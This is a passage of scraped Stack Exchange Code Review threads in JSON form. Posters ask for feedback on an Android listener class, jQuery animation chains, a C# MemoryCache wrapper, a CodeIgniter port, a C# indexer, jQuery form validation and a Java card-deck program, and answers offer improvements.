"body": "<p>I find \"How big is too big\" pretty easy to answer. Inevitably, you'll be back in the code a week later reviewing or making an addition. If you find it hard to read or code feels illogically grouped, refactor (eclipse is great for this).</p>\n\n<p>If you have multiple anonymous classes fulfilling the same purpose, create inner classes with a nice comment header for grouping inner class functionality. If you start finding a need to say things like \"I could reuse this instance elsewhere\", then move it to a separate class file and setup a constructor for anything you were using before (such as a Context for example).</p>\n\n<p>Point here is, start simple, refactor quickly as needed.</p>\n\n<p>For me personally, about the only place I might find an anonymous class like that would be:</p>\n\n<ul>\n<li>In a simple about-us with a single button</li>\n<li>Spiking out functionality</li>\n<li>A static method for special case stuff</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-10T15:24:16.293",
"Id": "10752",
"ParentId": "10562",
"Score": "0"
}
},
{
"body": "<p>If the inner class contains code that needs to be unit tested then extracting it makes sense. Writing an efficient and robust unit test for an anonymous inner class can be difficult.</p>\n\n<p>If the inner class simply passes data to the containing class without conditions or processing, then it makes sense to keep it as an anonymous inner class.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-24T07:29:14.383",
"Id": "11134",
"ParentId": "10562",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "10565",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T14:15:21.107",
"Id": "10562",
"Score": "6",
"Tags": [
"java",
"android",
"gui"
],
"Title": "Anonymous Classes for Listeners"
}
|
10562
|
<p>This is all about a whole lot of animations which should happen sequentially. That's why I am using <code>promise().done()</code> functions. In the end I'm binding a function to the mousemove event (similar to a dragging feeling on hover).</p>
<p>How can I optimize / shorten it?</p>
<pre><code>function showSpecialNavigation(){
$('.special-navigation_section').each(function(i) {
$(this).delay(400*i).fadeIn('fast');
$(this).find('li').each(function(i2) {
$(this).delay(400*i).fadeIn('800');
});
}).promise().done(function(){
$(".special-navigation_section").each(function(i3) {
$(this).find('a.transition_text').fadeIn('800');
}).promise().done(function(){
$(".showup1").each(function(i4) {
$(this).delay(50*i4).fadeIn('fast').delay(10).find('img').fadeIn('fast');
}).promise().done(function(){
$(".showup2").each(function(i5) {
$(this).delay(50*i5).fadeIn('fast').delay(10).find('img').fadeIn('fast');
}).promise().done(function(){
$(".showup3").each(function(i6) {
$(this).delay(50*i6).fadeIn('fast').delay(10).find('img').fadeIn('fast');
}).promise().done(function(){
$(".showup4").each(function(i7) {
$(this).delay(50*i7).fadeIn('fast').delay(10).find('img').fadeIn('fast');
}).promise().done(function(){
$(".showup5").each(function(i8) {
$(this).delay(50*i8).fadeIn('fast').delay(10).find('img').fadeIn('fast');
}).promise().done(function(){
$(".showup1, .showup2, .showup3, .showup4, .showup5").find('.handle').css({display: 'block'});
$(".dragged").each(function(i9) {
$(this).delay(20*i9).animate({width: '130px'}, 300);
}).promise().done(function(){
$(".transition").bind("mousemove", function(event){
var dragged = $(this).find('.dragged');
var containerWidth = $(this).width();
var stopLeft = 56;
var stopRight = 132;
var mouse2Container = event.pageX - $(this).offset().left;
var controller = mouse2Container-56;
if((stopRight > mouse2Container) && (mouse2Container > stopLeft)){
dragged.stop(true, false).animate({left: controller}, 200);
}
});
});
});
});
});
});
});
});
});
}
</code></pre>
|
[] |
[
{
"body": "<p>In the interest of eliminating all duplicate code, here's a way to make the nested showupN pieces of code all get executed in one function:</p>\n\n<pre><code>function showSpecialNavigation(){\n var showIndex = 1;\n var maxShowIndex = 5; // process from .showup1 to .showup5\n var allShows = $(); // initially empty object of .showupNN objects\n\n function setDrag() {\n allShows.css({display: 'block'});\n $(\".dragged\").each(function(i9) {\n $(this).delay(20*i9).animate({width: '130px'}, 300);\n }).promise().done(function(){\n $(\".transition\").bind(\"mousemove\", function(event){\n var dragged = $(this).find('.dragged');\n var containerWidth = $(this).width();\n\n var stopLeft = 56;\n var stopRight = 132;\n var mouse2Container = event.pageX - $(this).offset().left;\n var controller = mouse2Container-56;\n\n if((stopRight > mouse2Container) && (mouse2Container > stopLeft)){\n dragged.stop(true, false).animate({left: controller}, 200);\n }\n });\n });\n }\n\n function showup() {\n var showList = $(\".showup\" + showIndex++);\n // accumulate all showupNN we've processed for use later\n allShows = allShows.add(showList);\n\n // set doneCnt so we know when all are done\n var doneCnt = showList.length;\n showList.each(function(i) {\n $(this).delay(50*i).fadeIn('fast').delay(10).find('img').fadeIn('fast', function() {\n // when last one is done, go to the next level or the next activity\n --doneCnt;\n if (doneCnt == 0) {\n if (showIndex <= maxShowIndex) {\n // go to next level of .showupNN\n showup();\n } else {\n // go to next activity after \n setDrag();\n }\n }\n\n });\n });\n }\n\n var navs = $('.special-navigation_section');\n navs.each(function(i) {\n $(this).delay(400*i).fadeIn('fast');\n $(this).find('li').each(function() {\n $(this).delay(400*i).fadeIn('800');\n });\n }).promise().done(function(){\n navs.find('a.transition_text').fadeIn('800');\n }).promise().done(function(){\n showup();\n });\n});\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T14:45:38.437",
"Id": "16869",
"Score": "0",
"body": "Good abstractions, I must say!!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T17:53:45.573",
"Id": "10571",
"ParentId": "10568",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10571",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T15:19:45.537",
"Id": "10568",
"Score": "1",
"Tags": [
"javascript",
"performance",
"jquery",
"animation"
],
"Title": "Sequential animations"
}
|
10568
|
<p>I have implemented a simple generic wrapper for MemoryCache class. Its interface looks like ConcurrentDictionary class but I tried to keep it simple. I tried to keep operations atomic, hoping not to break the thread-safety. Is there a mistake about thread-safety? I also want to know if I there are some boxing-unboxing issues I have to think about. Any suggestions about API or some other thing is appreciated.</p>
<pre><code>public interface IMemoryCacheWrapper<T>
{
string Name { get; }
long CacheMemoryLimitInBytes { get; }
long PhysicalMemoryLimit { get; }
TimeSpan PollingInterval { get; }
CacheItemPolicy CacheItemPolicy { get; set; }
void AddOrUpdate(string key, T value);
bool TryGetValue(string key, out T value);
bool TryRemove(string key, out T value);
void Remove(string key);
bool ContainsKey(string key);
long Count { get; }
void Dispose();
bool IsDisposed { get; }
}
public class MemoryCacheWrapper<T> : IMemoryCacheWrapper<T>
{
private readonly MemoryCache _memoryCache;
private CacheItemPolicy _cacheItemPolicy;
private bool _isDisposed;
public MemoryCacheWrapper(string name, NameValueCollection config = null)
{
_memoryCache = config != null ? new MemoryCache(name, config) : new MemoryCache(name);
_isDisposed = false;
CacheItemPolicy = new CacheItemPolicy { SlidingExpiration = new TimeSpan(1, 0, 0) };
}
public string Name
{
get { return _memoryCache.Name; }
}
public long CacheMemoryLimitInBytes
{
get { return _memoryCache.CacheMemoryLimit; }
}
public long PhysicalMemoryLimit
{
get { return _memoryCache.PhysicalMemoryLimit; }
}
public TimeSpan PollingInterval
{
get { return _memoryCache.PollingInterval; }
}
public CacheItemPolicy CacheItemPolicy
{
get
{
return _cacheItemPolicy;
}
set
{
if (value != null)
{
_cacheItemPolicy = value;
}
}
}
public void AddOrUpdate(string key, T value)
{
_memoryCache.Set(key, value, CacheItemPolicy);
}
public bool TryGetValue(string key, out T value)
{
bool result = false;
value = default(T);
object item = _memoryCache.Get(key);
if (item != null)
{
value = (T)item;
result = true;
}
return result;
}
public bool TryRemove(string key, out T value)
{
bool result = false;
value = default(T);
object item = _memoryCache.Remove(key);
if (item != null)
{
result = true;
value = (T)item;
}
return result;
}
public void Remove(string key)
{
_memoryCache.Remove(key);
}
public bool ContainsKey(string key)
{
return _memoryCache.Contains(key);
}
public long Count
{
get { return _memoryCache.GetCount(); }
}
public void Dispose()
{
_memoryCache.Dispose();
_isDisposed = true;
}
public bool IsDisposed
{
get { return _isDisposed; }
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2013-12-25T09:35:34.127",
"Id": "63343",
"Score": "0",
"body": "Hi there,came across your class.Planning to use with EF how do you use it?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2013-12-25T09:40:53.253",
"Id": "63344",
"Score": "0",
"body": "@user231465 I didn't like this implementation. I wrote another one using ConcurrentDictionary class. It's called [MemoryCacheT](https://github.com/uhaciogullari/MemoryCacheT). You can take a look at it, sliding cache implementation is a little problematic though."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-08-13T04:20:35.573",
"Id": "184116",
"Score": "0",
"body": "Neither your interface nor the implementation actually implement IDisposable, although you have the void Dispose() method."
}
] |
[
{
"body": "<p>When implementing the Dispose interface it is advisable to use a two stage clean up. So that when you use this not inside a <code>using clause</code> the garage collection can also work correctly.</p>\n\n<p>Technically you can get away with it here; but I find it is useful to always use this pattern. Maintenance/Bug fixing then becomes easier as you do not need to start messing with other stuff just update the Dispose method. Another reason is that MS recommends this. </p>\n\n<pre><code> public ~MemoryCacheWrapper()\n {\n // Garbage collection has kicked in tidy up your object.\n Dispose(false);\n }\n\n // Implement IDisposable.\n public void Dispose()\n {\n // Dispose has been called clean up your object and members that\n // are disposable.\n Dispose(true);\n\n // Now Make sure that you don't call the cleanup again via the Finalizer\n // Effectively you are taking over garbage collection so make sure you\n // don't do it again\n GC.SuppressFinalize(this);\n }\n\n private void Dispose(bool disposing)\n {\n // Only do this once.\n if(!this._isDisposed)\n {\n // If called via IDispose interface then clean up sub-objects.\n // That implement the IDispose interface.\n if(disposing)\n {\n // Dispose managed resources.\n _memoryCache.Dispose();\n }\n\n // Now clean-up and objects that don't implement dispose.\n // i.e close any file handles \n\n // Currently nothing to do. \n }\n _isDisposed = true; \n }\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-11-26T00:33:51.100",
"Id": "30335",
"Score": "6",
"body": "Loki is only partly correct. If there is no native resource to clean up in the class, implementing a finalizer is not only redundant, but also wasteful. If the class is designed to be a base class, adding this dispose-plumbing is good, since you never know what a derived class will do. But if the class is *not* designed to be a base class, make it *sealed* and only call Dispose() on your disposable members in the class' Dispose() method - GC.SuppressFinalize isn't needed in that case."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-11-26T00:43:54.827",
"Id": "30336",
"Score": "1",
"body": "@JohannGerell: C# is not my favorite language so in the end I will accept your comment as best advice for now but it would be nice to have a reference to some article that backs your opinion. I took this directly from my MS internal training notes (from when I worked at MS). Now my notes are now 3 years old so they could be out wrong or outdated but the \"style cop\" settings used by our whole division was set to bark and prevent check-in if the above was not adhered to."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2013-10-31T16:47:54.303",
"Id": "53810",
"Score": "0",
"body": "AFAIK, you don't need to implement a Finalizer if the objects you are referencing already does. In other words, you should just implement a Finalizer if your own code is helding reference to non-managed resources. You aren't. The MemoryCache is. So only the Disposing pattern should suffice. MemoryCache himself is the one that has to have the Finalizer implemented. -- remember that implementing a finalizer has the side-effect of making your object only collectible after two runs from the GC, which is bad for memory and performance."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T19:46:10.037",
"Id": "10575",
"ParentId": "10572",
"Score": "8"
}
}
] |
{
"AcceptedAnswerId": "10575",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T18:44:35.497",
"Id": "10572",
"Score": "4",
"Tags": [
"c#",
".net",
"thread-safety"
],
"Title": "Generic wrapper for System.Runtime.Caching.MemoryCache"
}
|
10572
|
<p>I used this code on my own site and now trying to transfer it to my new site which uses codeigniter. I'm not sure how I can eliminate some of this code and still maintain its purpose and functionality with merging it into my controller, model, and library.</p>
<pre><code><div id="headerCharacter">
<?php
if ($access_level_id == 2 || $access_level_id == 3) {
$query = "SELECT
characters.id
FROM
characters";
$result = mysqli_query ($dbc,$query);
$total_num_characters = mysqli_num_rows($result);
$query = "SELECT
user_characters.id
FROM
user_characters
INNER JOIN user_accounts
ON user_accounts.id = user_characters.user_id";
} else {
$query = "SELECT
user_characters.id
FROM
user_characters
INNER JOIN user_accounts
ON user_accounts.id = user_characters.user_id
WHERE
user_accounts.id = '".$user_id."'";
}
$result = mysqli_query($dbc,$query);
$num_available_characters = mysqli_num_rows($result);
if (($num_available_characters > "1") || (($access_level_id == 2 || $access_level_id == 3) && (isset($total_num_characters)) && ($total_num_characters > "0"))) {
?>
<form method="POST" id="change_default_character">
<select class="dropdown" name="new_default_character_id" id="new_default_character_id" title="Select Character">
<?php
if ($default_character_id > "0") {
print "<option value=".$default_character_id.">".$default_character_name;
} else {
print "<option value=0>- Select -";
}
if ($access_level_id == 2 || $access_level_id == 3) {
$query = "SELECT
characters.id,
characters.character_name
FROM
characters
WHERE
characters.id <> '".$default_character_id."' AND
characters.status_id = '1'
ORDER BY
characters.character_name";
} else {
$query = "SELECT
characters.id,
characters.character_name
FROM
characters
INNER JOIN
user_characters
ON characters.id = user_characters.character_id
INNER JOIN
user_accounts
ON user_accounts.id = user_characters.user_id
WHERE
user_accounts.id = '".$user_id."' AND
user_characters.character_id <> '".$default_character_id."' AND
characters.status_id = '1'
ORDER BY
characters.character_name";
}
$result = mysqli_query ($dbc,$query);
$num_rows = mysqli_num_rows ($result);
if ($num_rows > 0) {
if ($access_level_id == 2 || $access_level_id == 3) {
print "<optgroup label=\"** Active Characters **\">";
}
while ( $row = mysqli_fetch_array ( $result, MYSQL_ASSOC ) ) {
print "<option value=\"".$row['id']."\">".$row['character_name']."</option>\r";
}
}
if ($access_level_id == 2 || $access_level_id == 3) {
$query = "SELECT
characters.id,
characters.character_name
FROM
characters
WHERE
characters.id <> '".$default_character_id."' AND
characters.status_id = '2'
ORDER BY
characters.character_name";
} else {
$query = "SELECT
characters.id,
characters.character_name
FROM
characters
LEFT JOIN
user_characters
ON characters.id = user_characters.character_id
LEFT JOIN
user_accounts
ON user_accounts.id = user_characters.user_id
WHERE
user_accounts.id = '".$user_id."' AND
user_characters.character_id <> '".$default_character_id."' AND
characters.status_id = '2'
ORDER BY
characters.character_name";
}
$result = mysqli_query ($dbc,$query);
$num_nows = mysqli_num_rows($result);
if ($num_rows > "0") {
print "<optgroup label=\"** Inactive Characters **\">";
while ( $row = mysqli_fetch_array ( $result, MYSQL_ASSOC ) ) {
print "<option value=\"".$row['id']."\">".$row['character_name']."</option>\r";
}
}
?>
</select>
</form>
<?php
} else {
print "<h1>".$default_character_name."</h1>\n";
}
?>
</div>
</code></pre>
<p><strong>EDIT :</strong></p>
<p>If user role is a user or editor then either display their default character or if more than one character then display dropdown of all handled characters. If user role is an administrator or webmaster then display their default character or ALL characters.</p>
<p>Displays Active (status-1), Inactive(status-2), Injured(status-3, Alumni(status-4) in separate option groups</p>
<p>Controller: </p>
<pre><code>$this->data['userRoster'] = $this->kowauth->getRosterList($this->data['userData']->usersRolesID);
</code></pre>
<p>Library:</p>
<pre><code>/**
* Get roster list
*
* @param integer
* @return object/NULL
*/
function getRosterList($usersRolesID)
{
if (($usersRolesID == 4) || ($usersRolesID == 5))
{
return $this->ci->users->getAllRoster();
}
else
{
return $this->ci->users->getRosterByUserID($this->ci->session->userdata('usersID'));
}
}
</code></pre>
<p>Model:</p>
<pre><code>/**
* Get roster list
*
* @return object/NULL
*/
function getAllRoster()
{
$this->db->select('rosterName');
$this->db->from('rosterList');
$this->db->order_by('rosterName');
$query = $this->db->get();
if ($query->num_rows() > 0)
{
return $query->result();
}
return null;
}
/**
* Get list of roster by user ID
*
* @return object/NULL
*/
function getRosterByUserID($usersID)
{
$this->db->select('rosterName');
$this->db->from('rosterList');
$this->db->where('userID', $usersID);
$this->db->order_by('rosterName');
$query = $this->db->get();
if ($query->num_rows() > 0)
{
return $query->result();
}
return null;
}
</code></pre>
|
[] |
[
{
"body": "<p>First, you should really use <a href=\"http://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php\" rel=\"nofollow\">prepared statements</a> instead of stuff like <code>user_accounts.id = '\".$user_id.\"'\";</code>: this will avoid security issues. Let's look at your actual question now.</p>\n\n<p>I'd advise you to go through the <a href=\"http://codeigniter.com/user_guide/tutorial/index.html\" rel=\"nofollow\">CodeIgniter officiel tutorial</a> which will help you to understand how Models, Views and Controllers relate to each other. You should remember that they only exist to help you to organise your code in order to avoid a huge mess full of inline SQL queries and HTML code which can get out of control easily.</p>\n\n<p>This means you can start by putting your code in a controller function, and refactor iteratively to get a nice, easy to understand code after a few steps. A few rules of thumbs to know where to put your code:</p>\n\n<ul>\n<li>Conditional logic (eg. <code>if ($access_level_id == 2 || $access_level_id == 3)</code> in your code should stay in the <strong>controller</strong>. This what tells the application \"do this only in this case, and that in this other case\".</li>\n<li>SQL queries should all go in the <strong>model</strong>. Your queries could go in one single method if they mean the same thing. Parameters to this method will help you differentiate the actual SQL queries.</li>\n<li>HTML code should only be produced in the <strong>view</strong>. The view should only display content, not retrieve data or use logic.</li>\n</ul>\n\n<p>To wrap it up, this means that the first code to get executed is in the controller. Depending on the user session and parameters, it could need to modify the database (eg. add a new user). It should ask the model to do this. It can also ask the model for some other unrelated data, and pass it up to the view which is going to display it.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-05T19:03:18.917",
"Id": "16990",
"Score": "0",
"body": "I've updated my post!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-06T11:58:47.543",
"Id": "17024",
"Score": "0",
"body": "Yep, you got it. Make sure to use `===` in your library to avoid '5things' to work (`'5things' == 5` is true, but `'5' === 5` is false in PHP)."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-05T07:24:16.923",
"Id": "10639",
"ParentId": "10574",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10639",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T19:42:03.273",
"Id": "10574",
"Score": "1",
"Tags": [
"php",
"codeigniter"
],
"Title": "Updating Old Code Into Code Igniter Use"
}
|
10574
|
<p>I've searched the web if there is a generic indexer in c# (4.0 / WPF) but could not find anything about it.</p>
<p>So I came up with my own solution and would like to share it with you. I hope to get some feedback on improvements.</p>
<pre><code>public dynamic this[string attribute, Type type]
{
get
{
try
{
return Convert.ChangeType(base.GetAttribute(attribute), type);
}
catch (Exception)
{
return this[attribute];
}
}
}
</code></pre>
<p>Short explanation of how i use it: my class derives from a generic class which again derives from XmlElement (WPF). The generic class offers a generic method to add XmlAttributes where their can be of any data type.</p>
<p>Here are some examples of usage:</p>
<pre><code> task.AddAttribute<bool>("boolAttrib");
bool boolAttrib = false;
boolAttrib = task["boolAttrib", boolAttrib.GetType()];
task.AddAttribute<DateTime>("datetimeAttrib", new DateTime(2013, 11, 4));
DateTime datetimeAttrib = new DateTime();
datetimeAttrib = task["datetimeAttrib", datetimeAttrib.GetType()];
</code></pre>
<p>As there is no such thing as a generic indexer and the "out" keyword cant be used this was the only solution i came up to.</p>
<p>Any advice to improve it is highly appreciated! Thanks! :)</p>
|
[] |
[
{
"body": "<p>You can use generics if you don't insist on it being an indexer:</p>\n\n<pre><code>public T GetAttribute<T>(string attribute)\n{\n return (T)base.GetAttribute(attribute);\n}\n</code></pre>\n\n<p>I'm not so sure about the other things you're doing. <code>Convert.ChangeType()</code> could just hide errors in your code. If you want to change the type of something, you should know about it and do it explicitly, not try to hide it.</p>\n\n<p>The same applies to your <code>catch</code>. You should never <code>catch (Exception)</code> in library code, handle only the exceptions you know about (in this case, most likely just <code>InvalidCastException</code>). And returning a value that might be the wrong type on failure? That seems dangerous to me as well.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T22:53:55.120",
"Id": "10580",
"ParentId": "10579",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T22:32:43.247",
"Id": "10579",
"Score": "1",
"Tags": [
"c#"
],
"Title": "my solution for a typesafe indexer"
}
|
10579
|
<p>I've a jQuery validation script to check all form fields for a valid value and prevent form submission and display an error message if any fields fail. It was requested that the validation script not check fields one by one, but that it check and highlight ALL fields that failed validation. It works perfectly. But I am more a front-end person, than a real developer and even though it works I feel like it's twice as long as it needs to be. </p>
<p>I've tried to combine logic where I could but it still feels like I have a ton of if/else statements and it just doesn't seem very...well...elegant. </p>
<p>A little more background: The script is used by three different forms which each have a different number of fields (form 1 has only email, form 2 has email and country, form 3 has email, country, and gender). The script checks for a form ID before bothering to validate any fields that aren't there. </p>
<pre><code>$("#footer_newsletter").submit(function(){
var hasValue = true;
var validEmail = true;
// validate email
if($.trim($("#newsletter_email").val()) == ""){
$("#newsletter_email").addClass("error");
hasValue = false;
}else{
$("#newsletter_email").removeClass("error");
}if(!$("#newsletter_email").val().match(/^[A-Z0-9._%-]+@[A-Z0-9.-]+\.([A-Z]{2,4})$/i)){
$("#newsletter_email").addClass("error");
validEmail = false;
}else{
$("#newsletter_email").removeClass("error");
}
if(parseInt($("#newsletter_form_id").val()) > 0){
// validate country
if($("#newsletter_country").prop("selectedIndex") == 0){
$("#newsletter_country").addClass("error");
hasValue = false;
}else{
$("#newsletter_country").removeClass("error");
}
}
if(parseInt($("#newsletter_form_id").val()) > 1){
// validate gender
if($(".email_signup_form_wrapper :radio:checked").val() == undefined){
$("#newsletter_gender").addClass("error");
hasValue = false;
}else{
$("#newsletter_gender").removeClass("error");
}
}
if(!validEmail && !hasValue){
$("#error_required_field").show();
return false;
}else if(!validEmail && hasValue){
$("#error_valid_email").show();
$("#error_required_field").hide();
return false;
}else if(validEmail && !hasValue){
$("#error_required_field").show();
$("#error_valid_email").hide();
return false;
}else if(validEmail && hasValue){
$("#error_valid_email").hide();
$("#error_required_field").hide();
$("#newsletter_submit").hide();
$("#newsletter_sending").show();
$.ajax({ type: "get", url: $("#footer_newsletter").attr("action"), data: $("#footer_newsletter").serialize(), dataType: "script" });
return false;
}
</code></pre>
<p>My basic thinking behind the script is this: </p>
<ol>
<li><p>In all fields I have to check for a value, and in the email field I have to check for a VALID value so I create two variables at the top of the script to record whether a field has a value, and whether or not that value is valid if it's the email field. </p></li>
<li><p>Look at each field and test it's value. If it fails add a class of "error", otherwise remove the class "error".</p></li>
<li><p>Then, if any of the following are true: The form has empty fields and does not have a valid email address, or the form has all fields filled out but does not have a valid email address, or the form has a valid email address but not all fields are filled out then display the appropriate error message.</p></li>
<li><p>Otherwise, everything looks good so submit the form. </p></li>
</ol>
<p>Here is a fiddle where you can see it in action. For simplicity I've removed the submission bit and the command to show the loading graphic. </p>
<p><a href="http://jsfiddle.net/judah/Ppewz/21/" rel="nofollow">http://jsfiddle.net/judah/Ppewz/21/</a></p>
|
[] |
[
{
"body": "<p>split the individual validations and complete form validation. generalize the validations, something like here</p>\n\n<pre><code>$(\"#footer_newsletter\").submit(function() {\n\n // send all fileds and their types to check form method \n var invalidFields = checkForm({\"type\":\"email\",\"name\":\"some\"},\n {\"type\":\"field\",\"name\":\"some2\"});\n // it returns only those fields that have invalid data\n // invalidFields var has array of names of fields with invalid data\n\n});\n\nfunction checkEmail (email) {\n // validate single email field, return true if it is a valid email\n}\n\nfunction checkField (field) {\n // validate single field to check if it is empty, return true if it is not empty\n}\n\nfunction checkForm (jsonArray) {\n var invalidFieldsArray = new Array();\n\n // loop through every field details and send it to respective filed validator methods\n for(field in jsonArray) {\n\n if(field.type == 'email') {\n\n // returns true if it is valid email\n if(! checkEmail(field.name) {\n\n // if invalid save to array\n invalidFieldsArray.add(field.name);\n }\n } else if(field.type == 'field') {\n\n // returns true if it is not empty\n if(! checkField(field.name) {\n\n // add to array if invalid\n invalidFieldsArray.add(field.name);\n }\n }\n }\nreturn invalidFieldsArray;\n} \n\n</code></pre>\n\n<p><a href=\"http://jsfiddle.net/6Y69Q/2/\" rel=\"nofollow\">http://jsfiddle.net/6Y69Q/2/</a></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T08:31:03.997",
"Id": "16853",
"Score": "0",
"body": "You should post the code here in the answer, too."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-05T21:55:57.330",
"Id": "17007",
"Score": "0",
"body": "Tejesh thank you for posting this. I think that I am following the logic of your example but I keep getting confused when I try to start writing. Do I have this logic correct? In the first part I am creating an array that I add all of the fields into. Then I have the email validation function, then the function that checks all fields for values, the function that actually check the form to see if it passes validation. If it finds invalid fields then it adds those fields into the invalidFieldsArray. But I am not sure how the invalidFieldsArray and invalidFields relate to each other?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-06T09:12:41.443",
"Id": "17018",
"Score": "0",
"body": "added comments to code, see if it is clear now."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T07:20:37.707",
"Id": "10587",
"ParentId": "10582",
"Score": "0"
}
},
{
"body": "<p>I would recommend that you use the JQuery validation plugin (http://docs.jquery.com/Plugins/Validation) then your validation declaration would be as follows (fields which do not exist are ignored):</p>\n\n<pre><code>$(\"#footer_newsletter\").validate(\n rules: {\n email: {\n required: true,\n email: true\n },\n country: \"required\",\n gender: \"required\" \n },\n messages: {\n email: {\n required: \"Please enter an email\",\n email: \"Please enter a valid email address\"\n },\n country: \"Please select a country\",\n gender: \"Please select your gender\"\n }\n);\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-06T16:33:35.927",
"Id": "17029",
"Score": "0",
"body": "Thanks ssmusoke, I did look into the the plugin but I was adapting a validation script that already existed in our app and I decided to take the opportunity to write my own."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-06T17:49:47.047",
"Id": "17034",
"Score": "2",
"body": "You are welcome, I have always found that using pre-built and pre-tested plugins as they save a lot of time, since you do not re-invent the wheel"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-06T14:32:40.950",
"Id": "10660",
"ParentId": "10582",
"Score": "1"
}
},
{
"body": "<p>If I'd have control over HTML I'd go the <code>data-</code> attribute way. Pretty much the same as ASP.NET MVC unobtrusive client side validation does (can't find source though).</p>\n\n<p>In general each form field would have it's own <code>data-validation-type</code> and <code>data-validation-message</code> attributes.<br>\n<code>data-validation-type</code> attribute would define what data (number, positive number, email, text) could be filled into field. Appropriate validation function would be executed on field's value depending on attribute value.<br>\n<code>data-validation-message</code> would contain a message to be shown when field validation fails.<br>\nThere could also be other attributes like <code>data-validation-required</code>. </p>\n\n<p>Then in javascript you should:<br>\n - write validation function for each data type<br>\n - write one general function to gather all form fields with <code>data-validation-*</code> attribute and execute appropriate validation function.</p>\n\n<p>This should cover most basic validation scenarios.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-10T07:26:02.000",
"Id": "10743",
"ParentId": "10582",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T23:25:06.610",
"Id": "10582",
"Score": "2",
"Tags": [
"javascript",
"jquery"
],
"Title": "Simple jQuery validation script works but it uses a ton of if/else statements"
}
|
10582
|
<p>I humbly ask that you review my simple (albeit a little over-done) program. The intention is to create a deck of cards, shuffle them, and draw the first five off the deck as a poker hand.</p>
<p>Can you offer some feedback, particularly if something can be done more efficiently? I intentionally left out much of the error-correction that can go into this just to cement the object-based design.</p>
<p><strong>CardEnum.java</strong></p>
<pre><code>public enum CardEnum {
ACE("A"), TWO("2"), THREE("3"), FOUR("4"),
FIVE("5"), SIX("6"), SEVEN("7"), EIGHT("8"),
NINE("9"), TEN("10"), JACK("J"), QUEEN("Q"), KING("K");
private String name;
CardEnum (String name) {
this.name = name;
}
String getSymbol() {
return this.name;
}
}
</code></pre>
<p><strong>SuitEnum.java</strong></p>
<pre><code>public enum SuitEnum {
HEART("H"), DIAMOND("D"), CLUB("C"), SPADE("S");
private String name;
SuitEnum (String name) {
this.name = name;
}
String getSymbol() {
return this.name;
}
}
</code></pre>
<p><strong>Card.java</strong></p>
<pre><code>public class Card {
private CardEnum card;
private SuitEnum suit;
private Card() {}
public Card(CardEnum card, SuitEnum suit) {
this.card = card;
this.suit = suit;
}
void changeCard(CardEnum card, SuitEnum suit) {
this.card = card;
this.suit = suit;
}
String getName() {
return card.getSymbol() + suit.getSymbol();
}
CardEnum getCard() { return card; }
SuitEnum getSuit() { return suit; }
}
</code></pre>
<p><strong>Deck.java</strong></p>
<pre><code>import java.util.*;
public class Deck {
private final int newSize = 52;
private List<Card> deck = new ArrayList<>(newSize);
public Deck() {
for (CardEnum c : CardEnum.values()) {
for (SuitEnum s: SuitEnum.values()) {
Card newCard = new Card(c, s);
this.deck.add(newCard);
}
}
if (deck.size() != newSize)
throw new IndexOutOfBoundsException("Deck does not contain 52 cards.");
}
int size() { return this.deck.size(); }
String draw() {
Iterator<Card> itrCard = deck.iterator();
if (!itrCard.hasNext()) {
throw new IndexOutOfBoundsException("Deck is empty!");
}
Card next = itrCard.next();
String name = next.getName();
this.deck.remove(next);
return name;
}
void shuffle() {
Collections.shuffle(this.deck);
}
}
</code></pre>
<p>And lastly, <strong>basicpoker.java</strong></p>
<pre><code>public class Basicpoker {
